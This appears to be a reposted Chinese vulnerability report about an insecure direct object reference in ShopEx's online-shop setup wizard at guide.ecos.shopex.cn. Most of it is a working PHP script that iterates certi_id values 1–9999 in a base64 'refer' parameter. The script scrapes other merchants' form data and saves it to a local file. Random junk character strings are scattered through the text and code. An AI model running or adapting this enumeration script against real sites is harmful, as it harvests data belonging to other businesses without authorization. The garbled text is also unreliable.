ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
; S& C2 Z, J4 J- _7 X5 |' UShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面


0 h1 u9 B( N* [
" S. k7 @" t4 q6 f5 p) d% Ghttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}

- M1 E# R  I  w3 s
+ d, }0 h0 Z5 a) Z
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
8 F3 k" [$ i5 j$ Q; d" j

# Y* |& E8 {) ~" \
<?php

                for ($i=1; $i < 10000; $i++) { //遍历
# o' O, c# ?7 o& ]9 ^; z
                        ShowshopExD($i);

                }

                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';
, D, a. _3 X0 f  o1 y: ~+ g8 T
* i4 n6 o, E+ W7 B2 R9 G2 V                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
; l6 w( k; j  g8 C* T$ B0 W- ]+ `
        $url = $url.'?refer='.$refer;

3 Q# Y6 V! b: k5 H2 d) m9 u        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
+ W, e9 @( u$ W+ R. Z8 x
  [, y, T8 ^! g$ Q+ A        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
' H) \; O& K3 ^
$ ^2 v0 n% h# T5 L5 }+ X0 m        $result = curl_exec($ch);
, _+ y, y1 N" m. v
( V* s0 Q  U' s$ I! G6 D- s        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
# P4 T0 G6 Q2 }7 |+ |
. L& N9 z' z+ T7 q1 D        if(strpos($result,$refer))

" ~: k3 C6 F( r, s  U7 Z        {
! c* J+ T; y4 H) r, o
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
% n- {2 W/ U2 S/ j7 [5 O: Q9 ^
* b% l9 d# e3 b! o; [( z                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
6 u; b% x0 A: s3 G0 K7 d* K
                foreach ($value[1] as $key) {
& H  `1 x6 ?! k
0 |3 k2 @' X' G/ o1 ~: _4 h% o0 i                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);

0 y, ~( |* O+ K! V5 \# F! l                        echo $res[1][0].':'.$res[3][0]."\r\n";
+ N0 p* x. m# a1 d* d
  X& w2 \$ U  O; V9 h8 r& D- s                        $col =$res[1][0].':'.$res[3][0]."\r\n";
- U6 u+ r* h% J5 i$ p7 `$ i
. W. u# I+ q- V: C2 b  |                        fwrite($fp, $col, strlen($col));
: ^( {0 z7 J% B3 x' x( z5 p& T
                }
2 O- `  a- {8 d9 C. `3 X
                echo '--------------------------------'."\r\n";
2 ], ^: j; U+ [0 c5 L" X1 |
                fclose($fp);
2 w( T) @: z  y. g$ F
        }

- o+ A' x9 }  P        flush();
4 z$ I" j3 q" N/ C: ?
        curl_close($ch);

3 E, {/ E3 U* _7 n5 I0 G- t% f                }

?>
- t& d. J2 W% Y; z1 S$ q. b% }6 H) F漏洞证明：
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式
5 O- G$ n, Y4 }3 z